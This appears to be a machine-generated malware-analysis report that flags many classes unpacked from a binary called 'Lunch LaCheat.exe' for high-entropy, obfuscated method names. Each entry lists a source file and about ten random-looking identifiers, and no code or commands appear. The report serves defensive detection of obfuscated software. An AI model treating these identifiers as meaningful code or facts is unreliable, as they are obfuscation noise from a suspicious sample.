Source: 34.3.Lunch LaCheat.exe.4fc15b0.3.raw.unpack, S4xuYYf4VvkDUfoJrma.cs High entropy of concatenated method names: 'KmItHy8RCX', 'hfvtP2Yevb', 'fKgfm6XxBJm57GNKGjt', 'gkZKx3XHYrOWnbe0sTQ', 'vhEvxIX37eiiOpQw5vM', 'cdE2eEXtTCVwNauLgZc', 'JCtPOqXku8GaQnNosNH', 'erP1AoXgwSSZCm0IOnB', 'S1qVpaXj6TCm7j3DOi9', 'oFfOsFXFEYwfmI07iEk'
Source: 34.3.Lunch LaCheat.exe.4fc15b0.3.raw.unpack, spviIXXITu8HiQLRydd.cs High entropy of concatenated method names: 'K20h4TKijO', 'P5uhVdQO1L', 'pn4hIRSyqM', 'ERehmlw0LM', 'wtphusGQWs', 'cLQyeou26FrYqdVs4PA', 'kwTChXu8ZTKPtB0WkkT', 'zkRfCquGBv3XTY00Tcp', 'yqmxEJuznAIeCmuCpIQ', 'jVq0sjh5xhViu2lD1ig'
Source: 34.3.Lunch LaCheat.exe.4fc15b0.3.raw.unpack, bjx4PUMNvrbRTipVjsL.cs High entropy of concatenated method names: 'bSGuPSxCqQx8COVogUR', 'IZdvcXxpbntIBs2jPE1', 'wde6TExMAm1KLhlWrIY', 'IqpQkRxEW58S5H1aEn6', 'IWF', 'j72', 'hdI2ScsE9M', 'FTh2DLjhNr', 'j4z', 'APh23kPe0K'
Source: 34.3.Lunch LaCheat.exe.4fc15b0.3.raw.unpack, DNSXGhMxb8hbaZ3ZyOl.cs High entropy of concatenated method names: '_9YY', '_57I', 'w51', 'bHN5MRYiSF', '_168', 'YE1x18tHjJndhXtjI9G', 'Es2Tc8tk1D98Hs9mLfo', 'mjdPxOtgNK89UKGrREt', 'MqejK6tjvtqcoqfFc80', 'rUdYc2tFBN5Bu275YvO'
Source: 34.3.Lunch LaCheat.exe.4fc15b0.3.raw.unpack, mGRo5IqgkpbCevtLJw4.cs High entropy of concatenated method names: '_981', 'YZ8', 'd52', 'G9C', 'HlnkvJ7VPsCs6ZsASYh', 'YaUZWc7KWWp7fikmkBL', 'mFT2oW7Y3Kmq8Aaa870', 'T044587JtvcIy7SB7hw', 'PEtD9772RffA43EytyE', 'nCuIXI781myahKHrcWj'
Source: 34.3.Lunch LaCheat.exe.4fc15b0.3.raw.unpack, n5BLl0zub6q1E6cKtB.cs High entropy of concatenated method names: 'Y29', 'YZ8', 'jn6', 'G9C', 'Tr9Fr96QgZuIYdCN7KJ', 'h0hgxw6BnAWv6j2DTTg', 'hrl1Np6I3KlBF7Fw5PU', 'CxNYl1662OsmSNJRpj2', 'KwCnSn67Df9xTZgkGCj', 'bhXF276yG03fALrguhy'
Source: 34.3.Lunch LaCheat.exe.4fc15b0.3.raw.unpack, d1Ms4CUYfOkEyT4rV8O.cs High entropy of concatenated method names: '_14Y', 'b41', 'D7Y', 'xMq', 'i39', '_77u', '_4PG', '_5u8', 'h12', '_2KT'
Source: 34.3.Lunch LaCheat.exe.4fc15b0.3.raw.unpack, zyKIFSUOvZVd5nfJLNC.cs High entropy of concatenated method names: 'qmhRTovydL', 'MDgRKRD95d', 'oPLRrjc0QR', 'I4ZRnSZmWU', 'EflRWEh8pQ', 'BShREYCj3FSd17ynq3w', 'M1aqNuCkx4yqBE7nkZQ', 'XhX3gfCgCHt5HO7OYOE', 'wlZqSiCFub9p6BpSV8G', 'kk00a4CbebRhf5yS9E1'
Source: 34.3.Lunch LaCheat.exe.4fc15b0.3.raw.unpack, wiSwb7XyiTFNRrZRITR.cs High entropy of concatenated method names: 'P7f8owehxD', 'oer8EZtJhj', 'UaU8jJEEsk', 'b3M8xOxYte', 'XYR8FBIV12', 'CCe8Qhns0d', '_838', 'vVb', 'g24', '_9oL'
Source: 34.3.Lunch LaCheat.exe.4fc15b0.3.raw.unpack, LyW9xXtR93TyJkM7URN.cs High entropy of concatenated method names: '_45b', 'ne2', '_115', '_3vY', 'wqRHywrbJ1', '_3il', 'u0lHqijql3', 'gNKHfvtbRv', '_78N', 'z3K'
Source: 34.3.Lunch LaCheat.exe.4fc15b0.3.raw.unpack, JLb518Xu0gr7VgNrdQG.cs High entropy of concatenated method names: 'IGD', 'CV5', 'yo0hR4v39K', '_3k4', 'elq', 'hlH', 'yc1', 'Y17', '_2QC', 'En1'
Source: 34.3.Lunch LaCheat.exe.4fc15b0.3.raw.unpack, zWT2AgqN8s5bxJgQo4x.cs High entropy of concatenated method names: 'LU4fsRYhw6', 'koYq7XA6VkFOldRJlt5', 'ccRkdYA7c8aLwhFmU7A', 's94O9bABd6YMGKmZJR3', 'spfTZbAIiNkRdF5jqg4', 'kwVPm9AysBEtBOyjXnq', '_5q7', 'YZ8', '_6kf', 'G9C'
Source: 34.3.Lunch LaCheat.exe.4fc15b0.3.raw.unpack, Sb38j9M5TwPKU5E3N8P.cs High entropy of concatenated method names: '_223', 'ObchL9DfKqx2y8KPI5B', 'zjyL8gDmB4BA5tX7Sfy', 'AwD8o0Dl8nau0GJDmZc', 'KcrNg3DrrGXhKKACSCj', 'doGS2gDDLcw7qKJHgUc', 'BGYtIMDNCUM0F2OihNl', 'KNcso5D3h3X9yXtwoPg', 'EWsr58DtvoPG6EmKuHn', 'hUx1kPDxpqXCnZMBpOj'
Source: 34.3.Lunch LaCheat.exe.4fc15b0.3.raw.unpack, hYxb1wtLnXrN0rRtimV.cs High entropy of concatenated method names: 'ICU', 'j9U', 'IBK', '_6qM', 'Amn', 'Mc2', 'og6', 'z6i', '_5G6', 'r11'
Source: 34.3.Lunch LaCheat.exe.4fc15b0.3.raw.unpack, I9vhRHquCQ0uLDtMftj.cs High entropy of concatenated method names: 'kNf', 'YZ8', 'U31', 'G9C', 'm6JOx8yMVT2AMFy8MY0', 'iN5JtyyE8TQ2EHIq3IW', 'abuNRQyCZQ2s77Z74kO', 'UocsYxypvl32uvLQbW3', 'nU3W9ryo2MCKBXibePA', 'Pj5imPyuBcytTng08QB'
Source: 34.3.Lunch LaCheat.exe.4fc15b0.3.raw.unpack, ckfw2rtlq8EL44wGQV0.cs High entropy of concatenated method names: 'rsKPLncwwW', 'L6sP9D7GLP', 'MY3PpHxxvt', 'DxqPdKmpmu', 'BmxPcxeGN8', 'KNWPTCeMTY', 'UR2PKMeayj', 'EiKPrlj1Li', 'yVFPnZuxop', 'BO6PW9RhMe'
Source: 34.3.Lunch LaCheat.exe.4fc15b0.3.raw.unpack, diijDZfkEAwvm72umcW.cs High entropy of concatenated method names: 'CsNw8U53TQ', 'lJPbMhmS8Ct7f7ZO0ZG', 'yD6n0FmZlZeDciG0APA', 'OeK0bpmaqdd0OZNZgDw', 'oVKeupms4HPDKNBNLGA', 'Sbvr4MmVIw5cXP5kZdL', 'mmFw3GkEYg', 'sEAwshq5Hq', 'Db9w47p6oR', 'waSwV8Ztq9'
Source: 34.3.Lunch LaCheat.exe.4fc15b0.3.raw.unpack, w22xDBMq7bbo3Ga2veg.cs High entropy of concatenated method names: 'a1vwCr4fti', 'H9mw0we9aC', 'H0awGgssIu', 'yMIwbRkDE9', 'WYHFxumzDsJZ9jDMjSS', 'jEYH21m8eJJ0NNVD1em', 'Yvp70SmGvJRg5At98tT', 'wyuwNBl5bUYGD9NeyHR', 'DttIPmlcBQFUZdNx5p9', 'U98xMblnDjicSGj2F1B'
Source: 34.3.Lunch LaCheat.exe.4fc15b0.3.raw.unpack, whZPVLpQKsuh7sYp2i.cs High entropy of concatenated method names: '_3OK', 'YZ8', '_321', 'G9C', 'usrtRen8XF05jgBeSKi', 'iA6vWdnGYWrQkMlHeC4', 'l7OCiwnzMUcQmb87Osk', 'nC8VUBQ5xMr7HXTLLeK', 'uhMiPYQcaVJ4N9J6BUD', 'xMoQmfQnNypsK1NrACC'
Source: 34.3.Lunch LaCheat.exe.4fc15b0.3.raw.unpack, U9iiGtqq03BTIAdKv3Z.cs High entropy of concatenated method names: 'tO4', 'YZ8', '_4kf', 'G9C', 'MWp64P6l3ipq2GQuntq', 'NKk4Cp6rF0ol1VXhsFw', 'qMa3Jf6DVGAjhyhE3Gk', 'CQ7w8K6NJoBOIue0qoV', 'W5ZNGH63RabL7XgnpOX', 'ciHJmY6t1kLtuVC1IHH'
Source: 34.3.Lunch LaCheat.exe.4fc15b0.3.raw.unpack, a8RCXJfyfv2YevbKcJy.cs High entropy of concatenated method names: 'B1if86EUeO', 'S19fhnlUDc', 'q8LfOHkBZc', 'i8PI4bAvDM9b9C1Xgh1', 'Cjs6HFALJ6AotLk64Gn', 'k7tPmVAMa10WT9riQZC', 'RK6pTsAE4SL2ivvxpdm', 'A6du3SACOq2v6xgKLiP', 'Jh5fROApOWD9HUyQRqh', 'VakGRmA1KCKrxMSk1r5'
Source: 34.3.Lunch LaCheat.exe.4fc15b0.3.raw.unpack, HhoQgiQALbTCJrMygA.cs High entropy of concatenated method names: '_8Ok', 'YZ8', 'InF', 'G9C', 'QiiUNSIXBAa3MTvUOCu', 'FMZ4lwIWh3SWU7SMwhc', 'Dvab0iIwYdJln3b6nk9', 'QBsabpIfvHk0tYu8ngM', 'CGH9NqImjKdoJaB95FM', 'MjsYO4Ilq6RGO1ZSVb9'
Source: 34.3.Lunch LaCheat.exe.4fc15b0.3.raw.unpack, COtroIUMm4eTIhOVxcs.cs High entropy of concatenated method names: 'TuZJLpv3X3ZUXuQfMa8', 'DF0hVAvt5o5TjW3LAAV', 'CbpBQ2vDPJtbSFjQn9Q', 'K06NIQvNmxcx4okoToY', 'pU54RJwarE', 'qNaD9IvkyZLLLSYXZ2n', 'VaPEBQvglhuPkTng7gV', 'IN55Q0vxkE4ufGioIQp', 'oqy7ePvHEFuZLvApOym', 'CwS4T7vjvRGJ6EdnGY3'
Source: 34.3.Lunch LaCheat.exe.4fc15b0.3.raw.unpack, vf0yC3MIHlCBxsJ9ID0.cs High entropy of concatenated method names: '_525', 'L97', '_3t2', 'UL2', '_6V2', '_968', 'tpM09X3i2kDDKar9Dx1', 'Jf8Z0S3PleVt01dPpCm', 's3WKbg3X3ht23eatxyW', 'zs5Vnd3WtIuHS3SNqll'
Source: 34.3.Lunch LaCheat.exe.4fc15b0.3.raw.unpack, DNaNPDq8ZrMGeZQIvVs.cs High entropy of concatenated method names: 'p23', 'YZ8', 'Gog', 'G9C', 'E8lgLoy4DIupouCkFA4', 'qfMJ48yZiBo1MF6E6xD', 'Dnsdi7yadExYH8nmDvK', 'aaZ2GJySG17b0RKM8v6', 'ruelhNys0Mlegy5yhFb', 'EmpKriyV2eww67jAxOj'
Source: 34.3.Lunch LaCheat.exe.4fc15b0.3.raw.unpack, yDct3lUiBGykwYgZyNe.cs High entropy of concatenated method names: 'q4Y', '_71O', '_6H6', 'Ywp8uokPlx', '_13H', 'I64', '_67a', '_71t', 'fEj', '_9OJ'
Source: 34.3.Lunch LaCheat.exe.4fc15b0.3.raw.unpack, kNoIPAUkfQUI8omLQgL.cs High entropy of concatenated method names: 'FBq8eOs3Gj', 'iYk8aS7c0M', 'F8e', 'bLw', 'U96', '_71a', 'O52', 'BhA8CKD54d', '_5f9', 'A6Y'
Source: 34.3.Lunch LaCheat.exe.4fc15b0.3.raw.unpack, JrnQWOUZjgUWBocdi9j.cs High entropy of concatenated method names: 'MBRR4bRWZh', 'dljRVGDLuG', 'beok0xEKNU8oE97cVXm', 'gdJirtEYGwQsYO7TH7X', 'G79xv5EJNEIAhGT5SiY', 'QoDxrPE2nhOSeIhOmfP', 'K3u9F7E8gfcuJwL8ZKH', 'XY1BBlEGogCG7BLkJjZ', 'IWvHJ4EzyO62oyRATuK', 'ooaaDoC5R7I1otPmy6D'
Source: 34.3.Lunch LaCheat.exe.4fc15b0.3.raw.unpack, bakGY7MAQ9F1Mugfu6e.cs High entropy of concatenated method names: '_5u9', 'spk5eP4tNn', 'TM82y63WOc', 'xlo5n38cPv', 'ijDmsq32Cuo0nkm71h4', 'pmmlbH38FgC7IgeCmJx', 'NW4GNa3GCqSCis5YyYb', 'mWl4Li3YuWPoZcZMbjd', 'km51sx3JGusXZGV2HKS', 'qjQnvL3zVIiVitrQV2c'
Source: 34.3.Lunch LaCheat.exe.4fc15b0.3.raw.unpack, xDRQIuqra1CCiX6RhhC.cs High entropy of concatenated method names: 'WoGfqhwXAd', 'YrnffWIkRQ', 'r7XfMuFUTP', 'PYTUgp9slmjF66T3pwk', 'Ia5Xxi9Vf27RNkwaMvK', 'WrE7er9aBcWYBHcsRZ6', 'TaeQa99STGLKXrARlj9', 'aPsyRx9KgUfkIPH8rdh', 'KFxKGc9YHNCliTOGYpD', 'QgrFic9JXw9Kxa2Ttx1'
Source: 34.3.Lunch LaCheat.exe.4fc15b0.3.raw.unpack, nfeO3JM26UEN4nRJB4s.cs High entropy of concatenated method names: 'ryxJ1InLAp', 'RHUJ9E29Lj', 'oSNJpITRLy', 'G2fDwUDPjNV9ZqkedFq', 'syRVjODRUQgkNx8k4KP', 'MG67KADi32EoMii2f3c', 'sT2QmfDXYPr5JaU64AZ', 'QOpJ7GmX6g', 'QfIJgjDLxw', 'acyJSkOeR2'
Source: 34.3.Lunch LaCheat.exe.4fc15b0.3.raw.unpack, u7wHE5XO1AwJPYHADRh.cs High entropy of concatenated method names: 'D4M', '_4DP', 'HU2', '_4Ke', '_5C9', '_7b1', 'lV5', 'H7p', 'V5L', '_736'
Source: 34.3.Lunch LaCheat.exe.4fc15b0.3.raw.unpack, wvbMxJXf3x1mW0ua4by.cs High entropy of concatenated method names: 'vqbhJIrxhk', 'XIphZm7Lvs', '_8r1', 'ld4h2Y3rX2', 'Rw8hBdLFuK', 'D4Vh6BjHGm', 'ctAh5E2Uxm', 'sglmWPuWU0lZAiHDmmf', 'ORxqW4uwxm5BQ07tA5t', 'w4VfNvufi4GME3bSXCO'
Source: 34.3.Lunch LaCheat.exe.4fc15b0.3.raw.unpack, AjATmTqxd3qnyspZ8M5.cs High entropy of concatenated method names: '_625', 'YZ8', '_9pX', 'G9C', 'HRIIYd0DFlTC15rYUVP', 'mfIPn10NrKEZSHpfdli', 'PNnWnR03P9hG97s8Bl3', 'jSP2Cd0tWTrMIgKLQvC', 'HqKcYM0x20fOVq54Itl', 'RtP49V0H5kTojw65eOq'
Source: 34.3.Lunch LaCheat.exe.4fc15b0.3.raw.unpack, tuX3ojf34ChaxjRV6c1.cs High entropy of concatenated method names: 'ghyMzmrMjj', 'GmityahLUc', 'XnGtqsvKl7', 'CwUtfEAeQC', 'gjXtMu01OW', 'J2Attg8s5b', 'QJgtUQo4xj', 'q40tXDejK9', 't9HtwGj4xZ', 'oEntJkXhwB'
Source: 34.3.Lunch LaCheat.exe.4fc15b0.3.raw.unpack, dTG2gXqPUXjsYC5a9HK.cs High entropy of concatenated method names: 'rU3', 'YZ8', 'M54', 'G9C', 'gfA0Ju7oAp3APN5QL3C', 'eZuBA77ufnak5Wpyrgk', 'Dw99V67ha1rIRYe4Vq3', 'Hntrf37TKJpcDOdMdxc', 'jTckxA7UpNRoPA5bZOJ', 'XRP1sP7eydMZwiP1WHa'
Source: 34.3.Lunch LaCheat.exe.4fc15b0.3.raw.unpack, sHZJEsfKSVh1hmkvGfT.cs High entropy of concatenated method names: 'zu5XJPnKAU', 'zwnXZTO1PP', 'doVHscfY2QU7y7n3M6h', 'DHJBGlfJchy0NpVeDY1', 'LdV8eMfVkHTJJlF33VL', 'bBU0WFfKxvYr9Xmxf1T', 'WijXSDZEAw', 'MrPWHnm50A7nn7X0Nbk', 'YvnqISmcdn5vSrLYj2i', 'LMfGohfGAKwhojfkFgx'
Source: 34.3.Lunch LaCheat.exe.4fc15b0.3.raw.unpack, COhgSqfcQyyy2PSOJQt.cs High entropy of concatenated method names: '_0023Nn', 'Dispose', 'VSZU9M3hJ2', 'C35Upi0Ohg', 'pqQUdyyy2P', 'pOJUcQtL6R', 'CIsUTckToo', 'YXanqqfqhHSyA5ZR5IF', 'tOWOCQf9atQ2ptEERAZ', 'qlcaEGf7oTCAAyOB3oA'
Source: 34.3.Lunch LaCheat.exe.4fc15b0.3.raw.unpack, IYPXUgwBGoP6ag9jkCy.cs High entropy of concatenated method names: 'c2HFvottUIahn', 'woorDbdXE0xTAYhMF0X', 'uNoJwbdW3AWhGTAQrxp', 'VnGffcdwfhM8aLCcLn8', 'SdFVEVdfu82GL510GMs', 'H9mrWodm0RYjQ0ahgOh', 'IIbfdRdixl71rfT5QOD', 'vAv2eFdPIA5BilCQAop', 'axohCLdl4aoI35uNqyP', 'rPVPQkdrFr6cLrseYA7'
Source: 34.3.Lunch LaCheat.exe.4fc15b0.3.raw.unpack, KhVMlxXdSTGZrYZBTyq.cs High entropy of concatenated method names: 'kjMacqd8Y1', 'dFM8QiUbOiNT3Wlx0o2', 'pAyrlDU1lyp62ZjBqB9', 'C38oNPUj1lyraUDysZK', 'w6QCLhUF0jmyoJeOycs', '_1fi', 'ILXeQHPI2t', '_676', 'IG9', 'mdP'
Source: 34.3.Lunch LaCheat.exe.4fc15b0.3.raw.unpack, kMDXZWXajKvT3fbPySM.cs High entropy of concatenated method names: 'so7OZOmXcS', 'seBO2wr13U', 'Wx0OBVxFAh', '_3Gf', '_4XH', '_3mv', '_684', '_555', 'Z9E', 'BgAO6GC7rc'
Source: 34.3.Lunch LaCheat.exe.4fc15b0.3.raw.unpack, t7eqoCq0pyA24xXUAbH.cs High entropy of concatenated method names: 'evhqoFZ4P6', 'JsQfJC9ns5pCW5j6Tnf', 'JAoZp69QZvQqimDDTpb', 'pCKSdX95nALImpr7vLg', 'Y3k8MI9cPRFS30v5Oyr', 'UVr5F79BUJGC0yGL74u', 'wo6Vld9IE4g2E8H1jLL', 'B63ltQ96yh2GL5gwWIl', 'oiAqjLbTCJ', 'ECTyE49qwm3bGTHUN6L'
Source: 34.3.Lunch LaCheat.exe.4fc15b0.3.raw.unpack, LdmVhiXGwe9HapiwJ8M.cs High entropy of concatenated method names: '_159', 'rI9', '_2Cj', 'TAXO8Cmnut', 'vrLOhm8dlH', 'lcQOOs0Sxx', 'zIYOeFJCIF', 'R5aOahOv5j', 'PslOCWUtKC', 'et4lt6TCIDuEr6rKuQq'
Source: 34.3.Lunch LaCheat.exe.4fc15b0.3.raw.unpack, UhmLkBf9fCvwgVYUfIA.cs High entropy of concatenated method names: 'qlhUCmLkBf', 'AAWA8rw8JUlo7bj2IaY', 'aX3CKrwGKWf2XWiRpaP', 'KBeZMSwJJIVXm09Apou', 'hyc9HQw2JR8whLRhLc7', 'n00GNtwzblx8nC54JSQ', 'aeNhdAf5DcNWWJ3tCm5', 'kJ3fdTfcnhvxlTjh2c9', 'xKmModfnBy0oOACwRu5', 'hdv74ffQZ2tmZ3HEhpS'
Source: 34.3.Lunch LaCheat.exe.4fc15b0.3.raw.unpack, GmeW25faKmNu3TDH8lC.cs High entropy of concatenated method names: 'm6ItLu1ZjH', 'WVLtkWQbIi', 'iQ4tzxuYYV', 'VkDUyUfoJr', 'varUq8YInh', 'Bv1UfxxBty', 'jpeUMd3Gwn', 'ffrUt61Kw5', 'EYYUUZrHdC', 'KfNEPTWYJNYa4KaQ8lI'
Source: 34.3.Lunch LaCheat.exe.4fc15b0.3.raw.unpack, AM3dUaMPMLKtx58w5dK.cs High entropy of concatenated method names: 'AOVJWefvU5', 'VUSJAFTekW', 'QAXJopur5Z', 'f8kJE1fDDg', 'mNZBiUDLQdo7fX17ZBY', 'wGIy5jDMdiueJuQpas0', 'W3TALFDEgsuXNX9Z2is', 'AT5QLEDOyuw53EOOgdu', 'pruHwBDvqlqlFTXC7gs', 'gww8HDDCKEfkOOWGwbE'
Source: 34.3.Lunch LaCheat.exe.4fc15b0.3.raw.unpack, EU7jgPqZUfCh0MEvB0O.cs High entropy of concatenated method names: '_3fO', 'YZ8', '_48A', 'G9C', 'JTKaa4777mfR36hCoHA', 'CpD0lE7yQdshseIwquJ', 'iH8cej7qsWR75prafpN', 'IZHsn479V12L7VHBJSQ', 'BgoW2570jjuUXFQBHNp', 'DUnnj07Ato88UNW52uw'
Source: 34.3.Lunch LaCheat.exe.4fc15b0.3.raw.unpack, Ahc13dEy5KVP0BqE5E.cs High entropy of concatenated method names: 'P37', 'YZ8', 'b2I', 'G9C', 'hAMy1mBUDwEx2rXOl6l', 'loUJM1BeEu05t5cAgSC', 'xLwah6BdvRdcaJCgeFK', 'zIsF8oB4Ohst4mZHOyW', 'mDtiQxBZULvupYnONMx', 'vF1ADbBaBIOnm7Prudn'
Source: 34.3.Lunch LaCheat.exe.4fc15b0.3.raw.unpack, LgEDIqhS04Car44Mop.cs High entropy of concatenated method names: 'NJU99NQHq', 'RsnpVi0BZ', 'aAbdKrsDq', 'N3wegKcpgHwR2rr6u6Q', 'pYUR3lcEmMv2RIKJGbt', 'RYkQYscCtfQBwZ1qBsZ', 'py1TVDcoUrIscPVoM4j', 'n1yueqcu6FT4hHhRbcA', 'ejkrQIchrKMglcNdyH3', 'o80D58cT8bTeg0STeY8'
Source: 34.3.Lunch LaCheat.exe.4fc15b0.3.raw.unpack, TKA1axtODGwCsrAJYh2.cs High entropy of concatenated method names: 'Dh9H1AxGpk', 'ULMH9RCGyd', 'Cx4Hp0QPMN', 'Ws7HdhJ44i', 'x8EHc1HL9o', 'rvHxM6glc1lvMehJWYV', 'RM55FGgfhTvBvTKUYZc', 'UOdxNegmV0i8bkOLHSx', 'gx7WIkgrCmroZnH364u', 'PgomNSgDf3esDNSHfV7'
Source: 34.3.Lunch LaCheat.exe.4fc15b0.3.raw.unpack, f8k1fDtZDguyRu368hC.cs High entropy of concatenated method names: 'uxk', 'q7W', '_327', '_958', '_4Oz', 'r6z', 'r7o', 'Z83', 'L5N', 'VTw'
Source: 34.3.Lunch LaCheat.exe.4fc15b0.3.raw.unpack, SUHxo9tNj7gNTsIAV05.cs High entropy of concatenated method names: 'ASg78iHlfC', 'JRI7O6QNB4', 'oHo7HOv6uy', 'PSQ7PChfg4', 'GQh77QXcEE', 'luM7g4nfsA', 'Rp47S9GewM', 'wvG7DiND8G', 'KHj73v7iMn', 'MNF7s8pjhS'
Source: 34.3.Lunch LaCheat.exe.4fc15b0.3.raw.unpack, B0A2YIMzsWk7TS3uGdI.cs High entropy of concatenated method names: 'QTZ2eYxb1w', 'MXr2aN0rRt', 'WmV2CoLnj2', 'TScQVcxhu1qXlhrMr6t', 'PjP3fgxTEVoLdOOUAtu', 'mS7e1FxokiJEbe4YJnK', 'dplGFjxutbvFpXvFTTi', 'vRoDi4xU3vHRgsJ91bH', 'wBhsrsxeOfq7uBa21LJ', 'ciuqhXxdPoS2OJgR3ju'
Source: 34.3.Lunch LaCheat.exe.4fc15b0.3.raw.unpack, yhRfLWt3k6bdGWArgmH.cs High entropy of concatenated method names: '_7zt', 'Y2d5s7UQpN', 'L1I540HfXH', 'faI5VYRTcn', 'wS15I7tZAN', 'U1c5mxNXvh', 'Hg45uEn0ui', 'YqOicPk3qIJeIYTLNQ6', 'RowPfGktZ4vKdmJ6ayU', 'rOFyxvkDgj86hX7gl20'
Source: 34.3.Lunch LaCheat.exe.4fc15b0.3.raw.unpack, eCD4fOt5DPq948iwBGO.cs High entropy of concatenated method names: 'erL6pJNwl4', 'tfI6drG2CP', 'C6N6coIPAf', 'SUI6T8omLQ', 'oLr6Kbe96U', 'MWA0wjHGk5xg7L7C3eq', 'Cic4tYHzZ5EcG8VYmr7', 'X7giRhH2Nb6hPeHOJjT', 'G7dIpfH8Om3Lwn6sjKJ', 'vTaFAWk5NyM67DkM9Ki'
Source: 34.3.Lunch LaCheat.exe.4fc15b0.3.raw.unpack, Vb95fHU00YbhYDyu0gn.cs High entropy of concatenated method names: 'qw5RjX5E4u', 'WK7RxA3kvh', 'DlyRFaKs7R', 'zaAZ6uCuOTrQQCO836R', 'dOL0plCpeVIMNhkew1d', 'BXmpOuCoUwnUe5BCqio', 'P6QUBJChv4C6xiEa0O0', 'jKMcgZCTWOkPwYQSAdq', 'pxHyKRCUvWKMttg2kcZ', 'NNfEdpCe43h4k4Xao3h'
Source: 34.3.Lunch LaCheat.exe.4fc15b0.3.raw.unpack, VMFniGxPuBqy8bufcO.cs High entropy of concatenated method names: 'kcq', 'YZ8', '_4bQ', 'G9C', 'zPLBIJI6EAx2AuarbQN', 'a8VU2NI7hlQURo19q9X', 'Sem2FAIyQ0lGs9g5Jv3', 'mNTkmRIqiiVNQEglCu2', 'VHvEa4I9VtmwOVg7hUC', 'RFU3TgI0utCXWLQGj4R'
Source: 34.3.Lunch LaCheat.exe.4fc15b0.3.raw.unpack, qlXAoh1gngc2opxxXE.cs High entropy of concatenated method names: 'g25', 'YZ8', '_23T', 'G9C', 'aylWtpi92', 'bkRHbAnMkiHllHmNCPr', 'zfe9y2nEZHlKM4NJHNc', 'ySuEJOnCRbb7HMHeWFd', 'bjiC8nnp0SmrslLefZW', 'oTUm6dnoR9vFeGY0KSB'
Source: 34.3.Lunch LaCheat.exe.4fc15b0.3.raw.unpack, ScE4clqkd8XEwfbUW0Q.cs High entropy of concatenated method names: 'OH3fmYWQbU', 'njgfuPUfCh', 'CMEfRvB0Oc', 'lYYCbQA0gq0hdyRggSO', 'jA3j8uAqlS3WG0i99jj', 'BAUOatA9ivHQqX57BbY', 'fPfRJmAAPsbnU2HAHFy', 'zpOlMpARosx03mAD4Fm', 'xatfDuAiR0j7IYdrLRh', 'IACDsBAPpipjifvZXUl'
Source: 34.3.Lunch LaCheat.exe.4fc15b0.3.raw.unpack, USnMqttFK6BlomrJdIc.cs High entropy of concatenated method names: 'P29', '_3xW', 'bOP', 'Th1', '_36d', 'GjkP7CybKT', 'XmhPgyvQWU', 'r8j', 'LS1', '_55S'
Source: 34.3.Lunch LaCheat.exe.4fc15b0.3.raw.unpack, h6vuwetSTCvG7UVGrTy.cs High entropy of concatenated method names: 'QXj5tbqNGh', 'EHN5UH0y3X', 'Niq5XVfIUT', 'pZaAH1kw9m1BCP98Ddp', 'dYDMN1kfqlvFXkd8234', 'lh7iiZkXQpwkl5pn0BU', 'gVrcfykWg6G2SRfcUtA', 'sAYATckmVN2tioX9gJ0', 'uSPpnyklCeAGqHelk9u', 'G3Zg4mkrR64KQ4AJyYl'
Source: 34.3.Lunch LaCheat.exe.4fc15b0.3.raw.unpack, r70NTtMtM1uhGa8tvNh.cs High entropy of concatenated method names: 'ba8wnj0pnM', 'dQ6wWL6GZO', 'HPBwAC7FAa', 'qqmwoRnjG3', 'TsdwE0WyU9', 'icWwjffg5Z', 'J8irNElFIn7Wn6y2175', 'U6uf2Nlg2avZgNruTKk', 'QeO9Nllj2DyE3o8HkOT', 'UMm4x9lbpKZ5oTtANUS'
Source: 34.3.Lunch LaCheat.exe.4fc15b0.3.raw.unpack, mBP0oLLioGhwXAdkrn.cs High entropy of concatenated method names: '_52U', 'YZ8', 'M5A', 'G9C', 'RD4vFCIKLIHllJerkY6', 'uvCP9wIYLrArEjhk36T', 'l3o5nHIJZ6Zu4y1Gyib', 'mo1tbvI2Zx5AqH6r5ZN', 'FIakaWI86otfJgW9sxD', 'cDlgDBIG7OAMCa9t6E0'
Source: 34.3.Lunch LaCheat.exe.4fc15b0.3.raw.unpack, KHdCRefmbkXs3K6gETN.cs High entropy of concatenated method names: 'U2ttViaejt', 'eHqtIYFZSi', 'Yf8tmR0mCh', 'dKftuZJaha', 'YNotRMtWH5', 'vAiHkRW5DW67my42vGf', 'DGMhAhWcfBjt63gg8Ji', 'iFGOBvXGAF29XqhO46h', 'BQh4G0XzrsbXQeLGmKA', 'UH7Zw5Wn3n8D3mhT9rP'
Source: 34.3.Lunch LaCheat.exe.4fc15b0.3.raw.unpack, LMjjpmqliahLUcLnGsv.cs High entropy of concatenated method names: '_589', 'YZ8', '_491', 'G9C', 'KfdqIZ0a3759TGBu5PR', 'dc2KE40SB5kdmDO36nt', 'WukPRJ0sGktsPStdt1N', 'XWbLkl0VAVrl3ZWaPF6', 'w2H7td0KNICT7stNJ3F', 'xYLhGd0YOhdnj9i3HJK'
Source: 34.3.Lunch LaCheat.exe.4fc15b0.3.raw.unpack, fttbW4MDcJoMNSH5luT.cs High entropy of concatenated method names: 'qJXJYpW99r', 'J2gJldmVh1', 'GHjJvt3wrp', 'bk1JN6UCD4', 'bODJiPq948', 'hGmGUUN6i8Q9mATGUco', 'k5v9pUN7Av8ih4vYORN', 'mv1KLuNB9ITBxXnAx9k', 'k15qJMNImxrfpVGCfQW', 'JcDtgkNyl5ay1YPElJX'
Source: 34.3.Lunch LaCheat.exe.4fc15b0.3.raw.unpack, DAsN0KqaOCtdgS3tEyf.cs High entropy of concatenated method names: 'GvP', 'YZ8', 'bp6', 'G9C', 'M6bISbqElc2gBTqnY69', 'gv7VZ3qCnc1PaSvp2Ir', 'aPJVY0qp1Ytv8ghp49E', 'hGXX9LqovAi91ujCX4d', 'YmHOsCqu74Uti3CRdZN', 'SlDBkJqhuCrggQ7uDub'
Source: 34.3.Lunch LaCheat.exe.4fc15b0.3.raw.unpack, UlZg75qsQwJiM21bO65.cs High entropy of concatenated method names: 'lHIqCRnmAO', 'vMgMF0yfJ8TikhX2JrH', 'y0HOBuymjT37Y7qUx2h', 'w22e1AyWFE8HZhM0DNL', 'ANdsv9yw6wD9muTxSB5', 'twyKcYylT8BWuQF1YcT', 'saTZbGyrug8BVIVsd20', 'P92crFyDmlOTLF4bFuE', 'LNu749yN3gnq0LspyUI', 'f28'
